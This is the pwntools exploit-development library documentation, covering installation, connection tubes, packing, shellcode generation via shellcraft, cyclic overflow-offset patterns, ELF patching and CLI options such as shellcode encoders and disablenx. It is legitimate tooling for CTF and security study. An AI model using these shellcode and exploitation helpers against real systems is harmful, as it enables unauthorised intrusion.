
pwntools Documentation

Release 3.14.0dev

2016, Gallopsled et al.

Nov 13, 2018

1	Getting Started	3
1.1	About pwntools	3
1.1.1	pwn — Toolbox optimized for CTFs	3
1.1.2	pwnlib — Normal python library	4
1.2	Installation	4
1.2.1	Prerequisites	4
1.2.2	Released Version	6
1.2.3	Development	6
1.3	Getting Started	6
1.3.1	Making Connections	6
1.3.2	Packing Integers	7
1.3.3	Setting the Target Architecture and OS	8
1.3.4	Setting Logging Verbosity	8
1.3.5	Assembly and Disassembly	8
1.3.6	Misc Tools	9
1.3.7	ELF Manipulation	9
1.4	from pwn import *	9
1.5	Command Line Tools	12
1.5.1	pwn	12
2	Module Index	21
2.1	pwnlib.adb — Android Debug Bridge	21
2.1.1	Using Android Devices with Pwntools	21
2.2	pwnlib.args — Magic Command-Line Arguments	29
2.3	pwnlib.asm — Assembler functions	30
2.3.1	Architecture Selection	30
2.3.2	Assembly	30
2.3.3	Disassembly	30
2.3.4	Internal Functions	33
2.4	pwnlib.atexception — Callbacks on unhandled exception	34
2.5	pwnlib.atexit — Replacement for atexit	34
2.6	pwnlib.constants — Easy access to header file constants	35
2.7	pwnlib.config — Pwntools Configuration File	36
2.8	pwnlib.context — Setting runtime variables	37
2.8.1	Module Members	37
2.9	pwnlib.dynelf — Resolving remote functions using leaks	49

2.10	<code>pwnlib.encoders</code> — Encoding Shellcode	52
2.11	<code>pwnlib.elf</code> — ELF Executables and Libraries	53
2.11.1	ELF Modules	53
2.12	<code>pwnlib.exception</code> — Pwnlib exceptions	75
2.13	<code>pwnlib.flag</code> — CTF Flag Management	75
2.14	<code>pwnlib.fmtstr</code> — Format string bug exploitation tools	76
2.14.1	Example - Payload generation	77
2.14.2	Example - Automated exploitation	77
2.15	<code>pwnlib.gdb</code> — Working with GDB	79
2.15.1	Useful Functions	79
2.15.2	Debugging Tips	79
2.15.3	Tips and Troubleshooting	80
2.16	<code>pwnlib.libcddb</code> — Libc Database	86
2.17	<code>pwnlib.log</code> — Logging stuff	87
2.17.1	Exploit Developers	87
2.17.2	Pwnlib Developers	88
2.17.3	Technical details	88
2.18	<code>pwnlib.memleak</code> — Helper class for leaking memory	91
2.19	<code>pwnlib.protocols</code> — Wire Protocols	100
2.19.1	Supported Protocols	100
2.20	<code>pwnlib.qemu</code> — QEMU Utilities	103
2.20.1	Overview	103
2.20.2	Required Setup	104
2.21	<code>pwnlib.replacements</code> — Replacements for various functions	105
2.22	<code>pwnlib.rop</code> — Return Oriented Programming	105
2.22.1	Submodules	105
2.23	<code>pwnlib.runner</code> — Running Shellcode	118
2.24	<code>pwnlib.shellcraft</code> — Shellcode generation	119
2.24.1	Submodules	119
2.25	<code>pwnlib.term</code> — Terminal handling	171
2.26	<code>pwnlib.timeout</code> — Timeout handling	172
2.27	<code>pwnlib.tubes</code> — Talking to the World!	173
2.27.1	Types of Tubes	174
2.27.2	<code>pwnlib.tubes.tube</code> — Common Functionality	193
2.28	<code>pwnlib.ui</code> — Functions for user interaction	204
2.29	<code>pwnlib.update</code> — Updating Pwntools	204
2.30	<code>pwnlib.useragents</code> — A database of useragent strings	205
2.31	<code>pwnlib.util.crc</code> — Calculating CRC-sums	206
2.32	<code>pwnlib.util.cyclic</code> — Generation of unique sequences	249
2.33	<code>pwnlib.util.fiddling</code> — Utilities bit fiddling	252
2.34	<code>pwnlib.util.hashes</code> — Hashing functions	262
2.35	<code>pwnlib.util.iters</code> — Extension of standard module <code>itertools</code>	264
2.36	<code>pwnlib.util.lists</code> — Operations on lists	274
2.37	<code>pwnlib.util.misc</code> — We could not fit it any other place	276
2.38	<code>pwnlib.util.net</code> — Networking interfaces	280
2.39	<code>pwnlib.util.packing</code> — Packing and unpacking of strings	281
2.40	<code>pwnlib.util.proc</code> — Working with <code>/proc/</code>	288
2.41	<code>pwnlib.util.safeeval</code> — Safe evaluation of python code	290
2.42	<code>pwnlib.util.sh_string</code> — Shell Expansion is Hard	292
2.42.1	Supported Shells	292
2.43	<code>pwnlib.util.web</code> — Utilities for working with the WWW	297
2.44	<code>pwnlib.testexample</code> — Example Test Module	298

`pwntools` is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

The primary location for this documentation is at docs.pwntools.com, which uses `readthedocs`. It comes in three primary flavors:

- [Stable](#)
- [Beta](#)
- [Dev](#)

1.1 About pwntools

Whether you're using it to write exploits, or as part of another software project will dictate how you use it.

Historically pwntools was used as a sort of exploit-writing DSL. Simply doing `from pwn import *` in a previous version of pwntools would bring all sorts of nice side-effects.

When redesigning pwntools for 2.0, we noticed two contrary goals:

- We would like to have a “normal” python module structure, to allow other people to familiarize themselves with pwntools quickly.
- We would like to have even more side-effects, especially by putting the terminal in raw-mode.

To make this possible, we decided to have two different modules. `pwnlib` would be our nice, clean Python module, while `pwn` would be used during CTFs.

1.1.1 pwn — Toolbox optimized for CTFs

As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following:

- Imports everything from the toplevel `pwnlib` along with functions from a lot of submodules. This means that if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.
- Calls `pwnlib.term.init()` to put your terminal in raw mode and implements functionality to make it appear like it isn't.
- Setting the `pwnlib.context.log_level` to “*info*”.
- Tries to parse some of the values in `sys.argv` and every value it succeeds in parsing it removes.

1.1.2 pwnlib — Normal python library

This module is our “clean” python-code. As a rule, we do not think that importing `pwnlib` or any of the submodules should have any significant side-effects (besides e.g. caching).

For the most part, you will also only get the bits you import. You for instance not get access to `pwnlib.util.packing` simply by doing `import pwnlib.util`.

Though there are a few exceptions (such as `pwnlib.shellcraft`), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects.

1.2 Installation

pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

1.2.1 Prerequisites

In order to get the most out of `pwntools`, you should have the following system libraries installed.

Binutils

Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of `binutils` to be installed. We’ve made this process as smooth as we can.

In these examples, replace `$ARCH` with your target architecture (e.g., `arm`, `mips64`, `vax`, etc.).

Building `binutils` from source takes about 60 seconds on a modern 8-core machine.

Ubuntu

For Ubuntu 12.04 through 15.10, you must first add the pwntools [Personal Package Archive](#) repository.

Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.

```
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
```

Then, install the `binutils` for your architecture.

```
$ apt-get install binutils-$ARCH-linux-gnu
```

Mac OS X

Mac OS X is just as easy, but requires building `binutils` from source. However, we’ve made [homebrew](#) recipes to make this a single command. After installing [brew](#), grab the appropriate recipe from our [binutils repo](#).

```
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/
↳osx/binutils-$ARCH.rb
```

Alternate OSes

If you want to build everything by hand, or don't use any of the above OSes, `binutils` is simple to build by hand.

```
#!/usr/bin/env bash

V=2.25 # Binutils Version
ARCH=arm # Target architecture

cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig

gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93
gpg --verify binutils-$V.tar.gz.sig

tar xf binutils-$V.tar.gz

mkdir binutils-build
cd binutils-build

export AR=ar
export AS=as

../binutils-$V/configure \
  --prefix=/usr/local \
  --target=$ARCH-unknown-linux-gnu \
  --disable-static \
  --disable-multilib \
  --disable-werror \
  --disable-nls

MAKE=gmake
hash gmake || MAKE=make

$MAKE -j clean all
sudo $MAKE install
```

Python Development Headers

Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto).

In order to build these native extensions, the development headers for Python must be installed.

Ubuntu

```
$ apt-get install python-dev
```

Mac OS X

No action needed.

1.2.2 Released Version

pwntools is available as a `pip` package.

```
$ apt-get update
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ pip install --upgrade pip
$ pip install --upgrade pwntools
```

1.2.3 Development

If you are hacking on Pwntools locally, you'll want to do something like this:

```
$ git clone https://github.com/Gallopsled/pwntools
$ pip install --upgrade --editable ./pwntools
```

1.3 Getting Started

To get your feet wet with pwntools, let's first go through a few examples.

When writing exploits, pwntools generally follows the “kitchen sink” approach.

```
>>> from pwn import *
```

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

A full list of everything that is imported is available on *from pwn import **.

1.3.1 Making Connections

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its *pwnlib.tubes* module.

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via *pwnlib.tubes.remote*.

```
>>> conn = remote('ftp.ubuntu.com', 21)
>>> conn.recvline()
'220 ...'
>>> conn.send('USER anonymous\r\n')
>>> conn.recvuntil(' ', drop=True)
'331'
>>> conn.recvline()
'Please specify the password.\r\n'
>>> conn.close()
```

It's also easy to spin up a listener

```
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
```

(continues on next page)

(continued from previous page)

```
>>> r.send('hello')
>>> c.recv()
'hello'
```

Interacting with processes is easy thanks to `pwnlib.tubes.process`.

```
>>> sh = process('/bin/sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> sh.close()
```

Not only can you interact with processes programmatically, but you can actually **interact** with processes.

```
>>> sh.interactive()
$ whoami
user
```

There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with `pwnlib.tubes.ssh`. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a process tube.

```
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0',
↳port=2220)
>>> shell['whoami']
'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> shell.close()
```

1.3.2 Packing Integers

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in `struct` module.

pwntools makes this easier with `pwnlib.util.packing`. No more remembering unpacking codes, and littering your code with helper routines.

```
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = '37130000'.decode('hex')
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
True
```

The packing/unpacking operations are defined for many common bit-widths.

```
>>> u8('A') == 0x41
True
```

1.3.3 Setting the Target Architecture and OS

The target architecture can generally be specified as an argument to the routine that requires it.

```
>>> asm('nop')
'\x90'
>>> asm('nop', arch='arm')
'\x00\xf0\xe3'
```

However, it can also be set once in the global context. The operating system, word size, and endianness can also be set here.

```
>>> context.arch      = 'i386'
>>> context.os        = 'linux'
>>> context.endian    = 'little'
>>> context.word_size = 32
```

Additionally, you can use a shorthand to set all of the values at once.

```
>>> asm('nop')
'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
'\xe3\xf0x00'
```

1.3.4 Setting Logging Verbosity

You can control the verbosity of the standard pwntools logging via `context`.

For example, setting

```
>>> context.log_level = 'debug'
```

Will cause all of the data sent and received by a `tube` to be printed to the screen.

1.3.5 Assembly and Disassembly

Never again will you need to run some already-assembled pile of shellcode from the internet! The `pwnlib.asm` module is full of awesome.

```
>>> asm('mov eax, 0').encode('hex')
'b800000000'
```

But if you do, it's easy to suss out!

```
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
0: 6a 02          push 0x2
2: 58             pop  eax
3: cd 80         int  0x80
5: eb f9         jmp  0x0
```

However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the `pwnlib.shellcraft` module, which is loaded with useful time-saving shellcodes.

Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup'ing file descriptor 4 to 'stdin, stdout, and stderr, and then pop a shell!`

```
>>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex')
'6a3158cd80...'
```

1.3.6 Misc Tools

Never write another hexdump, thanks to `pwnlib.util.fiddling`.

Find offsets in your buffer that cause a crash, thanks to `pwnlib.cyclic`.

```
>>> print cyclic(20)
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166)) at crash time
>>> print cyclic_find('faab')
120
```

1.3.7 ELF Manipulation

Stop hard-coding things! Look them up at runtime with `pwnlib.elf`.

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address)
0x400000
>>> print hex(e.symbols['write'])
0x401680
>>> print hex(e.got['write'])
0x60b070
>>> print hex(e.plt['write'])
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address, 4)
'\x7fELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(file('/tmp/quiet-cat', 'rb').read(1))
'  0:  c3                ret'
```

1.4 from pwn import *

The most common way that you'll see pwntools used is

```
>>> from pwn import *
```

Which imports a bazillion things into the global namespace to make your life easier.

This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.

- ***pwnlib.context***
 - *pwnlib.context.context*
 - Responsible for most of the pwntools convenience settings
 - Set *context.log_level = 'debug'* when troubleshooting your exploit
 - Scope-aware, so you can disable logging for a subsection of code via *ContextType.local()*
- **remote, listen, ssh, process**
 - *pwnlib.tubes*
 - Super convenient wrappers around all of the common functionality for CTF challenges
 - Connect to anything, anywhere, and it works the way you want it to
 - Helpers for common tasks like *recvline*, *recvuntil*, *clean*, etc.
 - Interact directly with the application via *.interactive()*
- **p32 and u32**
 - *pwnlib.util.packing*
 - Useful functions to make sure you never have to remember if '>' means signed or unsigned for *struct.pack*, and no more ugly [0] index at the end.
 - Set *signed* and *endian* in sane manners (also these can be set once on *context* and not bothered with again)
 - Most common sizes are pre-defined (*u8*, *u64*, etc), and *pwnlib.util.packing.pack()* lets you define your own.
- **log**
 - *pwnlib.log*
 - Make your output pretty!
- **cyclic and cyclic_func**
 - *pwnlib.util.cyclic*
 - Utilities for generating strings such that you can find the offset of any given substring given only N (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at 0x41414141, you could know that 0x61616171 means you control EIP at offset 64 in your buffer.
- **asm and disasm**
 - *pwnlib.asm*
 - Quickly turn assembly into some bytes, or vice-versa, without mucking about
 - Supports any architecture for which you have a binutils installed
 - Over 20 different architectures have pre-built binaries at [ppa:pwntools/binutils](https://github.com/0x00sec/pwntools-binutils).
- **shellcraft**
 - *pwnlib.shellcraft*
 - Library of shellcode ready to go
 - *asm(shellcraft.sh())* gives you a shell
 - Templating library for reusability of shellcode fragments
- **ELF**

- `pwnlib.elf`
- ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk
- **DynELF**
 - `pwnlib.dynelf`
 - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address
- **ROP**
 - `pwnlib.rop`
 - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses
- **`gdb.debug` and `gdb.attach`**
 - `pwnlib.gdb`
 - Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting break-points and makes iteration on exploits MUCH faster.
 - Alternately, attach to a running process given a PID, `pwnlib.tubes` object, or even just a socket that's connected to it
- **args**
 - Dictionary containing all-caps command-line arguments for quick access
 - Run via `python foo.py REMOTE=1` and `args['REMOTE'] == '1'`.
 - **Can also control logging verbosity and terminal fanciness**
 - * `NOTERM`
 - * `SILENT`
 - * `DEBUG`
- **randoms, rol, ror, xor, bits**
 - `pwnlib.util.fiddling`
 - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with `0xffffffff` or calling `ord` and `chr` an ugly number of times
- **net**
 - `pwnlib.util.net`
 - Routines for querying about network interfaces
- **proc**
 - `pwnlib.util.proc`
 - Routines for querying about processes
- **pause**
 - It's the new `getch`
- **safeeval**
 - `pwnlib.util.safeeval`

- Functions for safely evaluating python code without nasty side-effects.

These are all pretty self explanatory, but are useful to have in the global namespace.

- `hexdump`
- `read` and `write`
- `enhex` and `unhex`
- `more`
- `group`
- `align` and `align_down`
- `urlencode` and `urldecode`
- `which`
- `wget`

Additionally, all of the following modules are auto-imported for you. You were going to do it anyway.

- `os`
- `sys`
- `time`
- `requests`
- `re`
- `random`

1.5 Command Line Tools

pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

1.5.1 pwn

Pwntools Command-line Interface

```
usage: pwn [-h]
           {asm,checksec,constgrep,cyclic,debug,disasm,disablenx,elfdiff,elfpatch,
↪errno,hex,phd,pwnstrip,scramble,shellcraft,template,unhex,update}
           ...
```

-h, --help
show this help message and exit

pwn asm

```
usage: pwn asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context]
               [-v AVOID] [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r]
               [line [line ...]]
```

line

Lines to assemble. If none are supplied, use stdin

-h, --help

show this help message and exit

-f {raw,hex,string,elf}, --format {raw,hex,string,elf}

Output format (defaults to hex for ttys, otherwise raw)

-o <file>, --output <file>

Output file (defaults to stdout)

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp430,thumb,amd64,sparc,alpha,s390,i386,m68k,mips,ia64,cris,vax,avr,arm,little,big,el,le,be,eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes (provided as hex)

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-d, --debug

Debug the shellcode with GDB

-e <encoder>, --encoder <encoder>

Specific encoder to use

-i <infile>, --infile <infile>

Specify input file

-r, --run

Run output

pwn checksec

```
usage: pwn checksec [-h] [--file [elf [elf ...]]] [elf [elf ...]]
```

elf

Files to check

-h, --help

show this help message and exit

--file <elf>

File to check (for compatibility with checksec.sh)

pwn constgrep

```
usage: pwn constgrep [-h] [-e constant] [-i] [-m] [-c arch_or_os]
                    [regex] [constant]
```

regex

The regex matching constant you want to find

constant

The constant to find

-h, --help

show this help message and exit

-e <constant>, --exact <constant>

Do an exact match for a constant instead of searching for a regex

-i, --case-insensitive

Search case insensitive

-m, --mask-mode

Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.

-c {16, 32, 64, android, cgc, freebsd, linux, windows, powerpc64, aarch64, sparc64, powerpc, mips64, msp430, thumb, amd64, sparc, alpha, s390, i386, m68k, mips, ia64, cris, vax, avr, arm, little, big, el, le, be, eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

pwn cyclic

```
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
                [-l lookup_value]
                [count]
```

count

Number of characters to print

-h, --help

show this help message and exit

-a <alphabet>, --alphabet <alphabet>

The alphabet to use in the cyclic pattern (defaults to all lower case letters)

-n <length>, --length <length>

Size of the unique subsequences (defaults to 4).

-c {16, 32, 64, android, cgc, freebsd, linux, windows, powerpc64, aarch64, sparc64, powerpc, mips64, msp430, thumb, amd64, sparc, alpha, s390, i386, m68k, mips, ia64, cris, vax, avr, arm, little, big, el, le, be, eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-l <lookup_value>, -o <lookup_value>, --offset <lookup_value>, --lookup <lookup_value>

Do a lookup instead printing the alphabet

pwn debug

```
usage: pwn debug [-h] [-x GDBSCRIPT] [--pid PID] [-c context]
                [--exec EXECUTABLE] [--process PROCESS_NAME]
                [--sysroot SYSROOT]
```

-h, --help

show this help message and exit

- x** <gdbscript>
Execute GDB commands from this file.
- pid** <pid>
PID to attach to
- c** {16, 32, 64, android, cgc, freebsd, linux, windows, powerpc64, aarch64, sparc64, powerpc, mips64, msp430, thumb, amd64, sparc, alpha, s390, i386, m68k, mips, ia64, cris, vax, avr, arm, little, big, el, le, be, eb}
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']
- exec** <executable>
File to debug
- process** <process_name>
Name of the process to attach to (e.g. "bash")
- sysroot** <sysroot>
GDB sysroot path

pwn disablenx

```
usage: pwn disablenx [-h] elf [elf ...]
```

elf

Files to check

- h, --help**
show this help message and exit

pwn disasm

```
usage: pwn disasm [-h] [-c arch_or_os] [-a address] [--color] [--no-color]
                [hex [hex ...]]
```

hex

Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.

- h, --help**
show this help message and exit
- c** {16, 32, 64, android, cgc, freebsd, linux, windows, powerpc64, aarch64, sparc64, powerpc, mips64, msp430, thumb, amd64, sparc, alpha, s390, i386, m68k, mips, ia64, cris, vax, avr, arm, little, big, el, le, be, eb}
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']
- a** <address>, **--address** <address>
Base address
- color**
Color output
- no-color**
Disable color output

pwn elfdiff

```
usage: pwn elfdiff [-h] a b
```

a

b

-h, --help
show this help message and exit

pwn elfpatch

```
usage: pwn elfpatch [-h]
```

-h, --help
show this help message and exit

pwn errno

```
usage: pwn errno [-h] error
```

error
Error message or value

-h, --help
show this help message and exit

pwn hex

```
usage: pwn hex [-h] [data [data ...]]
```

data
Data to convert into hex

-h, --help
show this help message and exit

pwn phd

```
usage: pwn phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP]
          [-c COUNT] [-o OFFSET] [--color [{always,never,auto}]]
          [file]
```

file
File to hexdump. Reads from stdin if missing.

-h, --help
show this help message and exit

-w <width>, --width <width>
Number of bytes per line.

- l** <highlight>, **--highlight** <highlight>
Byte to highlight.
- s** <skip>, **--skip** <skip>
Skip this many initial bytes.
- c** <count>, **--count** <count>
Only show this many bytes.
- o** <offset>, **--offset** <offset>
Addresses in left hand column starts at this address.
- color** {always,never,auto}
Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.

pwn pwnstrip

```
usage: pwn pwnstrip [-h] [-b] [-p FUNCTION] [-o OUTPUT] file
```

file

- h**, **--help**
show this help message and exit
- b**, **--build-id**
Strip build ID
- p** <function>, **--patch** <function>
Patch function
- o** <output>, **--output** <output>

pwn scramble

```
usage: pwn scramble [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-p]
                  [-v AVOID] [-n] [-z] [-d]
```

- h**, **--help**
show this help message and exit
- f** {raw,hex,string,elf}, **--format** {raw,hex,string,elf}
Output format (defaults to hex for ttys, otherwise raw)
- o** <file>, **--output** <file>
Output file (defaults to stdout)
- c** {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']
- p**, **--alphanumeric**
Encode the shellcode with an alphanumeric encoder
- v** <avoid>, **--avoid** <avoid>
Encode the shellcode to avoid the listed bytes

- n, --newline**
Encode the shellcode to avoid newlines
- z, --zero**
Encode the shellcode to avoid NULL bytes
- d, --debug**
Debug the shellcode with GDB

pwn shellcraft

```
usage: pwn shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a]
                    [-v AVOID] [-n] [-z] [-r] [--color] [--no-color]
                    [--syscalls] [--address ADDRESS] [-l] [-s]
                    [shellcode] [arg [arg ...]]
```

shellcode

The shellcode you want

arg

Argument to the chosen shellcode

- h, --help**
show this help message and exit
- ?, --show**
Show shellcode documentation
- o <file>, --out <file>**
Output file (default: stdout)
- f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,d,escaped,default}, --format**
Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocessed code, escape{d} hex string
- d, --debug**
Debug the shellcode with GDB
- b, --before**
Insert a debug trap before the code
- a, --after**
Insert a debug trap after the code
- v <avoid>, --avoid <avoid>**
Encode the shellcode to avoid the listed bytes
- n, --newline**
Encode the shellcode to avoid newlines
- z, --zero**
Encode the shellcode to avoid NULL bytes
- r, --run**
Run output
- color**
Color output
- no-color**
Disable color output

- syscalls**
List syscalls
- address** <address>
Load address
- l, --list**
List available shellcodes, optionally provide a filter
- s, --shared**
Generated ELF is a shared library

pwn template

```
usage: pwn template [-h] [--host HOST] [--port PORT] [--user USER]
                  [--pass PASSWORD] [--path PATH] [--quiet]
                  [exe]
```

- exe**
Target binary
- h, --help**
show this help message and exit
- host** <host>
Remote host / SSH server
- port** <port>
Remote port / SSH port
- user** <user>
SSH Username
- pass** <password>
SSH Password
- path** <path>
Remote path of file on SSH server
- quiet**
Less verbose template comments

pwn unhex

```
usage: pwn unhex [-h] [hex [hex ...]]
```

- hex**
Hex bytes to decode
- h, --help**
show this help message and exit

pwn update

```
usage: pwn update [-h] [--install] [--pre]
```

-h, --help
show this help message and exit

--install
Install the update automatically.

--pre
Check for pre-releases.

Each of the `pwntools` modules is documented here.

2.1 `pwnlib.adb` — Android Debug Bridge

Provides utilities for interacting with Android devices via the Android Debug Bridge.

2.1.1 Using Android Devices with Pwntools

Pwntools tries to be as easy as possible to use with Android devices.

If you have only one device attached, everything “just works”.

If you have multiple devices, you have a handful of options to select one, or iterate over the devices.

First and most important is the `context.device` property, which declares the “currently” selected device in any scope. It can be set manually to a serial number, or to a `Device` instance.

```
# Take the first available device
context.device = adb.wait_for_device()

# Set a device by serial number
context.device = 'ZX1G22LH8S'

# Set a device by its product name
for device in adb.devices():
    if device.product == 'shamu':
        break
else:
    error("Could not find any shamus!")
```

Once a device is selected, you can operate on it with any of the functions in the `pwnlib.adb` module.

```
# Get a process listing
print adb.process(['ps']).recvall()

# Fetch properties
print adb.properties.ro.build.fingerprint

# Read and write files
print adb.read('/proc/version')
adb.write('/data/local/tmp/foo', 'my data')
```

class `pwntools.adb.adb.AdbDevice` (*serial, type, port=None, product='unknown', model='unknown', device='unknown', features=None, **kw*)
Encapsulates information about a connected device.

Example

```
>>> device = adb.wait_for_device()
>>> device.arch
'arm'
>>> device.bits
32
>>> device.os
'android'
>>> device.product
'sdk_phone_armv7'
>>> device.serial
'emulator-5554'
```

`pwntools.adb.adb.adb` (*argv, *a, **kw*)
Returns the output of an ADB subcommand.

```
>>> adb.adb(['get-serialno'])
'emulator-5554\n'
```

`pwntools.adb.adb.boot_time` () → int

Returns Boot time of the device, in Unix time, rounded to the nearest second.

`pwntools.adb.adb.build` (**a, **kw*)
Returns the Build ID of the device.

`pwntools.adb.adb.compile` (*source*)
Compile a source file or project with the Android NDK.

`pwntools.adb.adb.current_device` (*any=False*)
Returns an `AdbDevice` instance for the currently-selected device (via `context.device`).

Example

```
>>> device = adb.current_device(any=True)
>>> device
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_
↳ phone_armv7', model='sdk phone armv7', device='generic')
>>> device.port
'emulator'
```

`pwnlib.adb.adb.devices(*a, **kw)`
Returns a list of `Device` objects corresponding to the connected devices.

`pwnlib.adb.adb.disable_verity(*a, **kw)`
Disables dm-verity on the device.

`pwnlib.adb.adb.exists(*a, **kw)`
Return `True` if `path` exists on the target device.

Examples

```
>>> adb.exists('/')
True
>>> adb.exists('/init')
True
>>> adb.exists('/does/not/exist')
False
```

`pwnlib.adb.adb.fastboot(*a, **kw)`
Executes a fastboot command.

Returns The command output.

`pwnlib.adb.adb.find_ndk_project_root(source)`
Given a directory path, find the topmost project root.

`tl;dr "foo/bar/jni/baz.cpp" ==> "foo/bar"`

`pwnlib.adb.adb.fingerprint(*a, **kw)`
Returns the device build fingerprint.

`pwnlib.adb.adb.forward(*a, **kw)`
Sets up a port to forward to the device.

